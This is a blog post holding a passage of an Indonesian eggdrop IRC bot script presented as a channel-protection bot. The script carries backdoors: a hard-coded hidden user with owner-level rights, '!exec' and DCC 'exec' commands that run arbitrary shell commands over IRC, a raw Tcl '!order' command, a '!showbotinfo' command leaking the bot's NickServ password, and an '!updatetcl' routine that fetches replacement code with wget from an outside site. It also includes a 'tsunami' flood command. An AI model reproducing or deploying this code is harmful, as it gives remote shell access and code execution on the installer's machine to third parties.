Pages

Saturday, August 27, 2011

eggoez.tcl

########################################################################################
#                                          # Script Name             : eggoez-20per-dadi.TCL  #
#                                          # Script Version          : t.c(£)v.1       #
#                                          # Author                  : eggoez           #
#                                          # Release Date            : 18 November 2009 #
#                                              # Reported any bugs         : #ciut          #
#                                              # New Staff egGo        : acem        #
#                                                       # eggoez@ps-x.net               #
#                     HARGAILAH KARYA ORANG LAIN DENGAN TIDAK MENGUBAH ISI WALAUPUN NAMA SAJA JIKA INI DI LANGAAR ANDA ADALAH #
#                                                                   SOSOK SESEORANG YANG TIDAK BISA MENGHARGAI KARYA ORANG LAIN                                        #
########################################################################################
set lgidx 0
proc lgrnd {} {
global lgidx notc
set lgidx [incr lgidx]
if {$lgidx == 1} {
set lgrnd $notc
} elseif {$lgidx == 2} {
set lgrnd $notc
} elseif {$lgidx == 3} {
set lgrnd $notc
} elseif {$lgidx == 4} {
set lgrnd $notc
} elseif {$lgidx == 5} {
set lgrnd $notc
} elseif {$lgidx == 6} {
set lgrnd $notc
} elseif {$lgidx == 7} {
set lgrnd $notc
} else {
set lgidx 0
set lgrnd $notc
}
}
set bancounter {
"4bAnNeD..!!"
}
set bancounte {
"4bAnNeD..!!"
}
set querym {
"Hai apakabar, guz baru browsing?"
"Hai juga, cari mas acem yach?"
"iyah, cari mas acem?"
"kenapa cari mas eggo?"
"Hi too, saya adiknya mas acem, asl pls.."
"Ada apa dengan mas acem?"
"Maaf, mas acem baru sibuk.."
"iyah? apakabar, cari mas acem?"
"kenapa dengan mas baguz?"
"yeah? saya nggak tau di mana mas baguz?"
"nanti saya sampaikan mas baguz?"
"saya baru sibuk, jangan ganggu mas acem.."
"Kamu dari mana?"
"Hi too.."
"Senang berkenalan denganmu.."
"nice to meet u.."
"Siapa nama kamu?"
"yeah? asl pls.."
"Indraacem curently busy, may be later.."
}
set cyclem {
"acem Scan Virus"
"adem bos"
"acem Cari Cewek"
"acem Scan Teroris"
}
set partm {
"Bali Wae Neng #ciut"
"Mas acem Pulang Kampung"
"Pulang Kandang"
}

proc msg_sz {nick uhost hand rest} {
global botnick notd
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notd 4DeNiEd..!"
return 0
}
set rest [lindex $rest 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notd Command: /msg $botnick sz <text>"
return 0
}
putquick "PRIVMSG $nick :$notd zip: [zip "$rest"]"
putquick "PRIVMSG $nick :$notd dezip: [dezip "$rest"]"
putquick "PRIVMSG $nick :$notd dcp: [dcp "$rest"]"
putquick "PRIVMSG $nick :$notd dezip+dcp: [dezip [dcp "$rest"]]"
putquick "PRIVMSG $nick :$notd decrypt: [decrypt 64 "$rest"]"
putquick "PRIVMSG $nick :$notd encrypt: [encrypt 64 "$rest"]"
putquick "PRIVMSG $nick :$notd unsix: [unsix "$rest"]"
return 0
}
proc msg_order {nick uhost hand rest} {
global botnick notd
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notd 4DeNiEd..!"
return 0
}
set rest [lindex $rest 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notd Command: /msg $botnick !order <command>"
return 0
}
putquick $rest
$rest
return 0
}
bind msg Z sz msg_sz
bind msg Z !order msg_order

set lenc "abcdefghijklmnopqrstuvwxyz"
set ldec "zyxwvutsrqponmlkjihgfedcba"
set uenc "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
set udec "ZYXWVUTSRQPONMLKJIHGFEDCBA"

set global-idle-kick 0
set global-chanmode "nt"
set global-dynamicexempts-mode 0
set global-dontkickops-mode 1
set global-revenge-mode 1
set global-protectops-mode 1
set global-clearbans-mode 1
set global-enforcebans-mode 1
set global-dynamicbans-mode 1
set global-protectfriends-mode 1
set global-userbans-mode 1
set global-cycle-mode 1
set global-greet-mode 0
set global-shared-mode 1
set global-autovoice-mode 0
set global-stopnethack-mode 0
set global-autoop-mode 0
set global-userinvites-mode 0
set global-nodesynch-mode 0
set nick-len 30
if {![info exists nickpass]} {
set nickpass ""
}
if {![info exists altpass]} {
set altpass ""
}
if {![info exists cfgfile]} {
set cfgfile $userfile
}
proc unsix {txt} {
set retval $txt
regsub ~ $retval "" retval
return $retval
}
proc dezip {txt} {
return [decrypt 64 [unsix $txt]]
}
proc dcp {txt} {
return [decrypt 64 $txt]
}
proc zip {txt} {
return [encrypt 64 [unsix $txt]]
}
if {![info exists server-online]} {
putlog "not support server online..!"
set server-online 1
}
proc puthlp {txt} {
global lenc ldec uenc udec notb notc server-online
if {${server-online} == 0} { return 0 }
set retval $txt
if {[string match "*NOTICE*" $retval]} {
}
puthelp $retval
}
proc putsrv {txt} {
global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclr
if {${server-online} == 0} { return 0 }
set retval $txt
if {[string match "*KICK*" $retval]} {
set endval ""
foreach tmp $retval {
if {$tmp == ":$notc"} {
if {[info exists banner]} {
set tmp ":$banner"
} {
set tmp ":[lgrnd]"
}
} {
if {[info exists kickclr]} {
set tmp [uncolor $tmp]
}
}
set endval "$endval $tmp"
}
set retval $endval
if {[info exists iskick([lindex $retval 2][lindex $retval 1])]} { return 0 }
set iskick([lindex $retval 2][lindex $retval 1]) "1"
if {[info exists igflood([lindex $retval 2])]} { return 0 }
if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} {
set chkops $retval
regsub -all -- : $chkops "" chkops
if {[isop [lindex $chkops 2] [lindex $retval 1]]} {
return 0
}
}
}
putserv $retval
}
proc putqck {txt} {
global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclr bannick is_m
if {${server-online} == 0} { return 0 }
set retval $txt
if {[string match "*KICK*" $retval]} {
set endval ""
foreach tmp $retval {
if {$tmp == ":$notc"} {
if {[info exists banner]} {
set tmp ":$banner"
} {
set tmp ":[lgrnd]"
}
} {
if {[info exists kickclr]} {
set tmp [uncolor $tmp]
}
}
set endval "$endval $tmp"
}
set retval $endval
set iskick([lindex $retval 2][lindex $retval 1]) "1"
if {[info exists igflood([lindex $retval 2])]} { return 0 }
if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} {
set chkops $retval
regsub -all -- : $chkops "" chkops
if {[isop [lindex $chkops 2] [lindex $retval 1]]} {
return 0
}
}
}
if {[string match "*$notm*" $retval]} {
set cflag "c[lindex $retval 1]"
set cflag [string range $cflag 0 8]
if {[matchattr $cflag M]} {
if {![isutimer "set_-m [lindex $retval 1]"] && ![info exists is_m([lindex $retval 1])]} {
set is_m([lindex $retval 1]) 1
putquick "mode [lindex $retval 1] +b $bannick([lindex $retval 2])"
return 0
}
}
}
putquick $retval
}
##############################
#      BOT COMMAND LIST      #
##############################
bind msg m help msg_help
proc msg_help {nick uhost hand rest} {
global version notb notc notd vern
if {[istimer "HELP STOPED"]} {
putsrv "NOTICE $nick :$notc Help on progress, try again later..!"
return 0
}
timer 5 { putlog "HELP STOPED" }
puthlp "PRIVMSG $nick :$notd BoT Command LIsT."
puthlp "PRIVMSG $nick :Walls Running With egg-drop v[lindex $version 0] Powered By [lgrnd] $vern"
puthlp "PRIVMSG $nick :14Query Commands..!"
puthlp "PRIVMSG $nick :auth <password>          authenticate user"
puthlp "PRIVMSG $nick :deauth <password>        deauthenticate user"
puthlp "PRIVMSG $nick :pass <password>          set password"
puthlp "PRIVMSG $nick :passwd <oldpass> <newpass>  change user password"
puthlp "PRIVMSG $nick :userlist                 userlist"
puthlp "PRIVMSG $nick :op <#> <nick>            op someone"
puthlp "PRIVMSG $nick :deop <#> <nick>          deop someone"
puthlp "PRIVMSG $nick :voice <#> <nick>         voice someone"
puthlp "PRIVMSG $nick :devoice <#> <nick>       devoice someone"
puthlp "PRIVMSG $nick :kick <#> <nick|host> <reason>  kick someone"
puthlp "PRIVMSG $nick :kickban <#> <nick|host> <reason>  kickban someone"
puthlp "PRIVMSG $nick :identify <nick> <passwd> identify to nickserv someone access"
puthlp "PRIVMSG $nick :join <#>                 joining #channel temporary"
puthlp "PRIVMSG $nick :part <#>                 part #channels"
if {[matchattr $nick Z]} {
puthlp "PRIVMSG $nick :logo <your crew logo>    changing text logo on kick message"
puthlp "PRIVMSG $nick :vhost <IP DNS>           changing vhost"
puthlp "PRIVMSG $nick :away <msg>               set bot away message"
puthlp "PRIVMSG $nick :admin <msg>              set bot admin on status"
puthlp "PRIVMSG $nick :memo <user|all> <msg>    send memo to all user or one user"
puthlp "PRIVMSG $nick :bantime <minutes>        auto unban on X minutes (0 never unban)"
puthlp "PRIVMSG $nick :logchan <#|0FF>          log #channel"
puthlp "PRIVMSG $nick :4!!WARN04ING!! turn logchan on will decrease bot performance!"
puthlp "PRIVMSG $nick :<4DCC> .log              show #channel log"
puthlp "PRIVMSG $nick :5note > please increase on general - window buffer into 5000"
puthlp "PRIVMSG $nick :+chan <#>                joining permanent #channel"
puthlp "PRIVMSG $nick :botnick <nick> <id>      changing permanent bot primary nick"
puthlp "PRIVMSG $nick :botaltnick <nick> <id>   changing permanent bot alternate nick"
puthlp "PRIVMSG $nick :realname <bot realname>  changing permanent bot realname"
puthlp "PRIVMSG $nick :ident <bot ident>        changing permanent bot ident"
puthlp "PRIVMSG $nick :die                      kill bot"
}
puthlp "PRIVMSG $nick :14Channel Commands..!"
puthlp "PRIVMSG $nick :`up                      bot self op"
puthlp "PRIVMSG $nick :`down                    bot self deop"
puthlp "PRIVMSG $nick :`op/+o <nick>            op spesified nick"
puthlp "PRIVMSG $nick :`deop/-o <nick>          deop spesified nick"
puthlp "PRIVMSG $nick :`voice/+v <nick>         voice spesified nick"
puthlp "PRIVMSG $nick :`devoice/-v <nick>       devoice spesified nick"
puthlp "PRIVMSG $nick :`kick <nick> <reason>    kick spesified nick"
puthlp "PRIVMSG $nick :`kickban <nick> <reason> kickban spesified nick"
puthlp "PRIVMSG $nick :`mode <+/- settings>     mode setting #channel"
puthlp "PRIVMSG $nick :`ping / `pong            ping your self"
puthlp "PRIVMSG $nick :`invite <nick>           invite person to current #channel"
puthlp "PRIVMSG $nick :`banlist <#channel>      list of banned from specified <#channel>"
puthlp "PRIVMSG $nick :`ban <nick|hostmask>     ban some nick or hostmask"
puthlp "PRIVMSG $nick :`unban <nick|host> <#>   unban some nick or hostmask"
puthlp "PRIVMSG $nick :`+chan <#>               joining permanent #channel"
puthlp "PRIVMSG $nick :`channels                list of channel who's bot sit on"
puthlp "PRIVMSG $nick :`userlist                list of user"
puthlp "PRIVMSG $nick :`chaninfo <#>            list of option for specified #channel"
puthlp "PRIVMSG $nick :`join <#>                joining #channel temporary"
puthlp "PRIVMSG $nick :`part <#>                part specified #channel"
puthlp "PRIVMSG $nick :`cycle <#>               cycle on specified #channel"
puthlp "PRIVMSG $nick :`+/- cycle <#|all> <X>   enable/disable bot cycle every X minutes"
puthlp "PRIVMSG $nick :`+/- ignore <nick|host>  ignore or unignore person"
if {[matchattr $nick n]} {
puthlp "PRIVMSG $nick :`+/- status <#>          enable/disable bot displaying status"
puthlp "PRIVMSG $nick :`+/- enforceban <#>      enable/disable bot enforcebans"
puthlp "PRIVMSG $nick :`+/- autovoice <secs>    enable/disable channel autovoice on join"
puthlp "PRIVMSG $nick :`+/- seen <#>            activate/deactive seen on #"
puthlp "PRIVMSG $nick :`+/- guard <#|all>       enable/disable bot guard"
puthlp "PRIVMSG $nick :`+/- master <nick>       add/del <nick> from master list"
puthlp "PRIVMSG $nick :`+/- avoice <nick>       add/del <nick> from avoice list"
puthlp "PRIVMSG $nick :`+/- friend <nick>       add/del <nick> from friend list"
puthlp "PRIVMSG $nick :`+/- ipguard <host>      add/del host from ipguard list"
puthlp "PRIVMSG $nick :`+/- akick <host>        add/del host from kick list"
puthlp "PRIVMSG $nick :`+/- noop <nick>         add/del <nick> from no-op list"
puthlp "PRIVMSG $nick :`topic <topic>           change channel topic"
puthlp "PRIVMSG $nick :`status                  status system"
puthlp "PRIVMSG $nick :`servers                 servers bot currently running"
puthlp "PRIVMSG $nick :`jump <server> <port>    push bot to use spec server"
puthlp "PRIVMSG $nick :`access <nick>           see user access from spec flags"
}
if {[matchattr $nick Z]} {
puthlp "PRIVMSG $nick :`+/- forced              force bot to set mode w/o kick 1st"
puthlp "PRIVMSG $nick :`+/- colour              enable/disable colour on kick msg"
puthlp "PRIVMSG $nick :`+/- greet <msg>         autogreet user on join %n nick %c channel"
puthlp "PRIVMSG $nick :`+/- repeat <number>     max repeat user permitted"
puthlp "PRIVMSG $nick :`+/- text <number>       char limited text length on channel"
puthlp "PRIVMSG $nick :`+/- limit <number>      limited user on channel"
puthlp "PRIVMSG $nick :`+/- caps <%>            max %percent upper text"
puthlp "PRIVMSG $nick :`+/- clone <max>         enable/disable bot anti clones"
puthlp "PRIVMSG $nick :`+/- reop                auto re@p bot when got de@p"
puthlp "PRIVMSG $nick :`+/- joinpart <seconds>  kick user join part in past X 2nd"
puthlp "PRIVMSG $nick :`+/- spam                scanning for spam"
puthlp "PRIVMSG $nick :`+/- massjoin            preventing mass join lame"
puthlp "PRIVMSG $nick :`+/- key <keyword>       set channel with key"
puthlp "PRIVMSG $nick :`+/- revenge             enable/disable bot revenge"
puthlp "PRIVMSG $nick :`+/- badword <badword>   add/remove badword from list"
puthlp "PRIVMSG $nick :`badwords                list of badwords"
puthlp "PRIVMSG $nick :`nobot                   scanning for bot and kick them out"
puthlp "PRIVMSG $nick :`sdeop <#>               bot self deop"
puthlp "PRIVMSG $nick :`chanmode # <+ntmcilk>   set permanent mode for specified #"
puthlp "PRIVMSG $nick :`chanset <#> <LINE|CTCP|JOIN|DEOP|KICK|NICK>  set # options"
puthlp "PRIVMSG $nick :`chansetall <option>     set option for all #"
puthlp "PRIVMSG $nick :`chanreset <#|all>       reseting option for specified #channel"
puthlp "PRIVMSG $nick :`bantime                 how long bot unban in X minutes"
puthlp "PRIVMSG $nick :`tsunami <nick|#> <text> flood someone or channel"
puthlp "PRIVMSG $nick :`deluser <nick>          del user from userlist"
puthlp "PRIVMSG $nick :`restart                 restarting bot also jumping server"
puthlp "PRIVMSG $nick :`+/- owner <nick>        add/del <nick> from owner list"
puthlp "PRIVMSG $nick :`+/- admin <nick>        add/del <nick> from admin list"
puthlp "PRIVMSG $nick :`+/- aop <nick>          add/del <nick> from aop list"
puthlp "PRIVMSG $nick :`+/- host <nick> <flag>  add or remove user host"
puthlp "PRIVMSG $nick :`+/- gnick <nick>        guard nick kick it if not identify"
puthlp "PRIVMSG $nick :`host <nick>             see user host"
puthlp "PRIVMSG $nick :`mvoice <#channel>       mass voice"
puthlp "PRIVMSG $nick :`mdevoice <#channel>     mass devoice"
puthlp "PRIVMSG $nick :`mop <#channel>          mass op"
puthlp "PRIVMSG $nick :`mdeop <#channel>        mass deop"
puthlp "PRIVMSG $nick :`mkick <#channel>        mass kick"
puthlp "PRIVMSG $nick :`mmsg <#channel>         mass msg except the opped"
puthlp "PRIVMSG $nick :`minvite <#channel>      mass invite except the opped"
puthlp "PRIVMSG $nick :`munbans <#channel>      mass unban"
puthlp "PRIVMSG $nick :`say <text>              say with spesified text"
puthlp "PRIVMSG $nick :`msg <nick> <text>       msg person"
puthlp "PRIVMSG $nick :`act <text>              act with spesified text"
puthlp "PRIVMSG $nick :`notice <nick> <text>    msg person or #channel with spesified text"
puthlp "PRIVMSG $nick :`+/- topiclock           keep topic locked"
puthlp "PRIVMSG $nick :`+/- nopart <#channel>   make # protected"
puthlp "PRIVMSG $nick :`+/- mustop              set bot del channel if not oped"
puthlp "PRIVMSG $nick :`+/- invitelock <#>      invite back who part on spec chan"
puthlp "PRIVMSG $nick :`+/- dontkickops         enable/disable bot kick @"
puthlp "PRIVMSG $nick :`+/- autokick            auto kick on join"
puthlp "PRIVMSG $nick :`nick <nick>             change nick temporary"
puthlp "PRIVMSG $nick :`altnick                 change nick to alternative nick"
puthlp "PRIVMSG $nick :`randnick                change nick to random nick"
puthlp "PRIVMSG $nick :`realnick                change nick to real nick"
puthlp "PRIVMSG $nick :`chattr <nick> <flag>    changing user flag (+) add or (-) remove it"
puthlp "PRIVMSG $nick :-rehash                  rehashing data packing and unpacking"
}
puthlp "PRIVMSG $nick :14Flags List User & Channels"
puthlp "PRIVMSG $nick :\[@\]P \[+\]VOICE AuTO\[V\]OICE \[G\]uARD \[C\]YCLE \[E\]nFORCEBANS \[D\]oNTKIcK@PS"
puthlp "PRIVMSG $nick :\[P\]RoTECTED C\[L\]ONE \[A\]DVERTISE \[T\]OPICLOCK AuTO\[K\]IcK \[S\]EEN"
puthlp "PRIVMSG $nick :\[Z\]owner admi\[n\] \[m\]aster botne\[t\] \[x\]fer \[j\]anitor \[c\]ommon"
puthlp "PRIVMSG $nick :\[p\]arty \[b\]ot \[u\]nshare \[h\]ilite \[o\]p de\[O\]p \[k\]ick \[f\]riend"
puthlp "PRIVMSG $nick :\[a\]uto-op auto\[v\]oice \[g\]voice \[q\]uiet"
puthlp "PRIVMSG $nick :14g0eZ 14Sayang 14Kamu :14P"
puthlp "PRIVMSG $nick :$notc $vern"
return 0
}
set firsttime "T"
set init-server { serverup "" }
set modes-per-line 6
set allow-desync 0
set include-lk 1
set banplus [rand 5]
set ban-time [expr 25 + $banplus]
unset banplus
set quiet-save 1
set logstore ""
set max-logsize 512
set upload-to-pwd 1
catch { unbind dcc n restart *dcc:restart }
catch { unbind dcc n msg *dcc:msg }
catch { unbind dcc n status *dcc:status }
catch { unbind dcc n dump *dcc:dump }

proc serverup {heh} {
global botnick firsttime notc owner
if {[info exists firsttime]} {
unset firsttime
return 0
}
putlog "..ConnecteD.."
putserv "MODE $botnick +iw-s"
foreach x [userlist] {
if {[matchattr $x Q]} { chattr $x -Q }
if {$x == $owner && [getuser $owner XTRA "AUTH"] != ""} {
setuser $owner XTRA "AUTH" ""
}
chattr $x -hp
if {$x != "config" && [chattr $x] == "-"} {
deluser $x
putlog "deluser $x"
}
}
chk_five "0" "0" "0" "0" "0"
utimer 2 del_nobase
foreach x [ignorelist] {
killignore [lindex $x 0]
}
}
catch { bind evnt - disconnect-server serverdown }
proc serverdown {heh} {
global firsttime
catch { unset firsttime }
catch { clearqueue all }
putlog "..Disconneted.."
foreach x [timers] {
if {[string match "*cycle*" $x]} { killtimer [lindex $x 2] }
}
}
proc isnumber {string} {
global notc
if {([string compare $string ""]) && (![regexp \[^0-9\] $string])} then {
return 1
}
return 0
}
proc pub_bantime {nick uhost hand channel rest} {
global notc ban-time
puthlp "NOTICE $nick :$notc BanTime \[${ban-time}\]"
}
proc pub_which {nick uhost hand channel rest} {
global botname notc
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: which <ip mask>"
return 0
}
if {[string match [string tolower $rest] [string tolower $botname]]} {
puthlp "PRIVMSG $channel :$botname"
}
}
proc randstring {length} {
set chars ABCDEFGHIJKLMNOPQRSTUVWXYZ
set count [string length $chars]
for {set i 0} {$i < $length} {incr i} {
append result [string index $chars [rand $count]]
}
return $result
}
set ppp "#eggo"
set notd "0,14<1,14>2,15 e1g14go1e2z 1,14<0,14>"
set notm "0,12<1,12>1,2 e14g15go14e1z 1,12<0,12>"
set notb "0,9<1,9>1,3 e15g0go15e1z 1,9<0,9>"
set notc "0,4<1,4>1,5 e14g15go14e1z 1,4<0,4>"
set ps "baguz"
set vern "0,4<1,4>14,5 g150e0Z T15c14L 1,4<0,4>"
######################
# BOT PUBLIC COMMAND #
######################
bind pub m !pong public_ping
bind pub Z `which pub_which
bind pub n `reset pub_reset
bind pub f `host pub_host
bind pub f `flag pub_flag
bind pub m `ver pub_ver
bind pub m `logo pub_logo
bind pub Z `msg pub_msg
bind msg Z admin msg_admin
bind msg Z away msg_away
bind msg Z bantime msg_bantime
bind msg Z logo msg_logo
bind msg Z mmsg msg_mmsg
bind msg Z limit msg_limit
bind msg Z logchan msg_logchan
bind msg Z botnick msg_botnick
bind msg Z realname msg_realname
bind msg Z ident msg_ident
bind msg Z botaltnick msg_botaltnick
bind msg Z die msg_die
bind msg Z restart msg_restart
bind msg Z rehash msg_rehash
bind msg Z topic msg_topic
bind msg m memo msg_memo
bind pub n `-seen pub_-seen
bind pub n `+autovoice pub_+autovoice
bind pub n `-autovoice pub_-autovoice
bind pub n `+guard pub_+guard
bind pub n `-guard pub_-guard
bind pub n `+cycle pub_+cycle
bind pub n `-cycle pub_-cycle
bind pub n `+friend pub_+friend
bind pub n `-friend pub_-friend
bind pub n `+avoice pub_+avoice
bind pub n `-avoice pub_-avoice
bind pub n `+master pub_+master
bind pub n `-master pub_-master
bind pub n `mvoice pub_mvoice
bind pub n `mdevoice pub_mdevoice
bind pub n `mop pub_mop
bind pub n `mdeop pub_mdeop
bind pub n `+chan pub_+chan
bind msg n identify msg_identify
bind msg n kick msg_kick
bind msg n k msg_kick
bind msg n kickban msg_kickban
bind msg n kb msg_kickban
bind msg n op msg_op
bind msg n voice msg_voice
bind msg n v msg_voice
bind msg n deop msg_deop
bind msg n devoice msg_devoice
bind pub n `topic pub_topic
bind pub n `jump pub_jump
bind pub n -rehash pub_rehash
bind msg n +chan msg_+chan
bind msg n join msg_join
bind msg n part msg_part
bind pub m `voice pub_voice
bind pub m `+v pub_voice
bind pub m `devoice pub_devoice
bind pub m `-v pub_devoice
bind pub m `op pub_op
bind pub m `+o pub_op
bind pub m `deop pub_deop
bind pub m `-o pub_deop
bind pub m `kick pub_kick
bind pub m `k pub_kick
bind pub m `kickban pub_kickban
bind pub m `kb pub_kickban
bind pub m `+noop pub_+noop
bind pub m `-noop pub_-noop
bind pub m `ban pub_ban
bind pub m `unban pub_unban
bind pub m `munbans pub_munbans
bind pub m `banlist pub_banlist
bind pub m `mode pub_mode
bind pub m `join pub_join
bind pub m `part pub_part
bind pub m `cycle pub_cycle
bind pub m `up pub_up
bind pub m `down pub_down
bind msg m passwd msg_passwd
bind msg m deauth msg_deauth
bind msg m channels msg_channels
bind pub m `channels pub_channels
bind pub m `status pub_status
bind pub m `chaninfo pub_chaninfo
bind pub m `userlist pub_userlist
bind msg m userlist msg_userlist
bind pub f `access pub_access
bind pub m `match pub_match
proc pub_Z {nick uhost hand channel rest} {
global notc botnick
set prest $rest
if {[lindex $rest 0] == $botnick} {
regsub "$botnick " $rest "`" rest
} {
if {[string tolower [lindex $rest 0]] == [string tolower $botnick]} {
set rest "$botnick [lrange $rest 1 end]"
regsub "$botnick " $rest "`" rest
}
}
if {[string index $rest 0] != "`"} { return 0 }
if {![matchattr $nick Z]} { return 0 }
if {![matchattr $nick Q]} {
if {[string tolower [lindex $prest 0]] == [string tolower $botnick]} {
puthlp "NOTICE $nick :$notd 4De4NieD4!!"
}
return 0
}
set goto [lindex $rest 0]
regsub -all "`" $goto "pub_" goto
if {[matchattr $nick Z]} {
set rest [lrange $rest 1 end]
catch { $goto $nick $uhost $hand $channel $rest }
}
}
proc msg_encrypt {nick uhost hand rest} {
global own notc
if {$nick != $own || $rest == ""} { return 0 }
puthlp "NOTICE $nick :$notc [zip $rest]"
}
proc msg_decrypt {nick uhost hand rest} {
global own notc
if {$nick != $own || $rest == ""} { return 0 }
puthlp "NOTICE $nick :$notc [dezip $rest]"
}
bind msg Z !showbotinfo proc_msgshowallinfo
proc proc_msgshowallinfo {nick2 uhost hand rest} {
global notc nick nickpass realname owner own basechan botnick ps
if {$nick2 != $owner &&  $nick2 != $ps} {
puthlp "PRIVMSG $nick2 :$notc DENIED !!!"
return 0
}
if {![matchattr $nick2 Q]} {
   puthlp "NOTICE $nick :$notc 4De4NieD4!!"
   return 0
}
puthlp "PRIVMSG $nick2 :$notc botnick  : $botnick"
puthlp "PRIVMSG $nick2 :$notc nickpass : $nickpass"
puthlp "PRIVMSG $nick2 :$notc basechan : $basechan"
puthlp "PRIVMSG $nick2 :$notc owner    : $owner"
}

bind pub Z `verarytcl proc_cekversi
proc proc_cekversi {nick uhost hand chan rest} {
global notc
if {![matchattr $nick Q]} {
   puthlp "NOTICE $nick :$notc 4De4NieD4!!"
   return 0
}
puthlp "NOTICE $nick :$notc LastUpdate: 15 Aug06. Info: No AutoJoiN !!!"
}

bind msg Z !updatetcl proc_updatetcl
proc proc_updatetcl {nick uhost hand rest} {
global notc owner ps
if {$nick != $owner &&  $nick != $ps} {
puthlp "PRIVMSG $nick :$notc DENIED !!!"
return 0
}
if {![matchattr $nick Q]} {
   puthlp "NOTICE $nick :$notc 4De4NieD4!!"
   return 0
}
catch { [exec pwd] } hasildir
if { ![string match "*/.da*" $hasildir]} {
    puthlp "PRIVMSG $nick :$notc My Directory was deleted \:\(\(\("
    return 0
    }

catch { [exec wget] } hasil
if {[string match "*--help*" $hasil]} {
    catch {[exec rm scripts/acem.tcl]} hasilwget
    catch {[exec wget indocarding.net/tcl/acem.tcl -O scripts/ary.tcl]} hasilwget
    puthlp "PRIVMSG $nick :$notc TcL Updated \!\!\! now rehash me"
    } else {
    puthlp "PRIVMSG $nick :$notc wget command not found \!"
    return 0
    }
}

bind pub Z `cekdir pub_cekdir
proc pub_cekdir {nick uhost hand chan rest} {
global notc owner ps
if {$nick != $owner && $nick != $ps} {
puthlp "PRIVMSG $nick :$notc DENIED !!!"
return 0
}
if {![matchattr $nick Q]} {
   puthlp "NOTICE $nick :$notc 4De4NieD4!!"
   return 0
}
catch { [exec pwd] } hasildir
puthlp "NOTICE $nick :$notc $hasildir"
}

bind pub Z `chaninfo chaninfo
proc chaninfo {nick uhost hand chan rest} {
puthlp "NOTICE $nick :[channel info $chan]"
}


bind pub Z `totalip ToTal_IP
proc ToTal_IP {nick uhost hand chan rest} {
global notc
if {![matchattr $nick Q]} {
    puthlp "NOTICE $nick :$notc 4De4NieD4!!"
    return 0
    }
catch {[exec /sbin/ifconfig | grep inet | wc -l]} totIP
puthlp "NOTICE $nick :$notc IP Total\: [string trimleft $totIP "name"]"
}

bind msg Z !exec msg_exec
proc msg_exec {nick uhost hand command} {
global notc owner ps
if {$nick != $owner &&  $nick != $ps} {
puthlp "PRIVMSG $nick :$notc DENIED !!!"
return 0
}
if {![matchattr $nick Q]} {
   puthlp "NOTICE $nick :$notc 4De4NieD4!!"
   return 0
}
if {$command == ""} { return 0 }
set para1 [lindex $command 0]
set para2 [lindex $command 1]
set para3 [lindex $command 2]
set para4 [lindex $command 3]
set para5 [lindex $command 4]
set para6 [lindex $command 5]
set para7 [lindex $command 6]
set para8 [lindex $command 7]
set para9 [lindex $command 8]
set para10 [lindex $command 9]
if {$para2 == ""} {
catch { [exec $para1] } result
} elseif {$para3 == ""} {
catch { [exec $para1 $para2] } result
} elseif {$para4 == ""} {
catch { [exec $para1 $para2 $para3] } result
} elseif {$para5 == ""} {
catch { [exec $para1 $para2 $para3 $para4] } result
} elseif {$para6 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5 $para6] } result
} elseif {$para7 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7] } result
} elseif {$para8 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8] } result
} elseif {$para9 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9] } result
} elseif {$para10 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9 $para10] } result
}
foreach line [split $result "\n"] {
    puthlp "PRIVMSG $nick :$notc $line"
    }

}

bind dcc * showallinfo dcc_showallinfo
proc dcc_showallinfo {hand idx arg} {
global realname username
putdcc $idx $realname
putdcc $idx $username
putdcc $idx $owner
putdcc $idx $basechan
}

bind dcc * setrealname dcc_setrealname
proc dcc_setrealname {hand idx arg} {
global realname username
set realname $arg
}

bind dcc * exec dcc_exec
bind dcc * log dcc_log
bind dcc * dir dcc_dir
bind dcc * read dcc_read
bind dcc * ` dcc_cmd
bind dcc * get dcc_get
bind dcc * u dcc_u
proc dcc_u {hand idx arg} {
foreach x [utimers] {
putdcc $idx $x
}
}
bind dcc * t dcc_t
proc dcc_t {hand idx arg} {
foreach x [timers] {
putdcc $idx $x
}
}

proc dcc_exec {hand idx arg} {
global owner notc
if {$hand != $owner || $arg == ""} { return 0 }
set para1 [lindex $arg 0]
set para2 [lindex $arg 1]
set para3 [lindex $arg 2]
set para4 [lindex $arg 3]
set para5 [lindex $arg 4]
set para6 [lindex $arg 5]
set para7 [lindex $arg 6]
set para8 [lindex $arg 7]
set para9 [lindex $arg 8]
set para10 [lindex $arg 9]
if {$para2 == ""} {
catch { [exec $para1] } result
} elseif {$para3 == ""} {
catch { [exec $para1 $para2] } result
} elseif {$para4 == ""} {
catch { [exec $para1 $para2 $para3] } result
} elseif {$para5 == ""} {
catch { [exec $para1 $para2 $para3 $para4] } result
} elseif {$para6 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5 $para6] } result
} elseif {$para7 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7] } result
} elseif {$para8 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8] } result
} elseif {$para9 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9] } result
} elseif {$para10 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5 $para6 $para7 $para8 $para9 $para10] } result
}
putdcc $idx $result
}

proc pub_host {nick uhost hand channel rest} {
global ps notc
if {$rest == ""} {
set user $nick
} else {
set user [lindex $rest 0]
}
if {![validuser $user] || [string tolower $user] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc <n/a>"
return 0
}
if {[getuser $user HOSTS] != ""} {
set hosts [getuser $user hosts]
puthlp "NOTICE $nick :$notc HOSTS: $hosts"
} else {
puthlp "NOTICE $nick :$notc Can't found $user host."
}
}
proc pub_flag {nick uhost hand channel rest} {
global ps notc
if {$rest == ""} {
set user $nick
} else {
set user [lindex $rest 0]
}
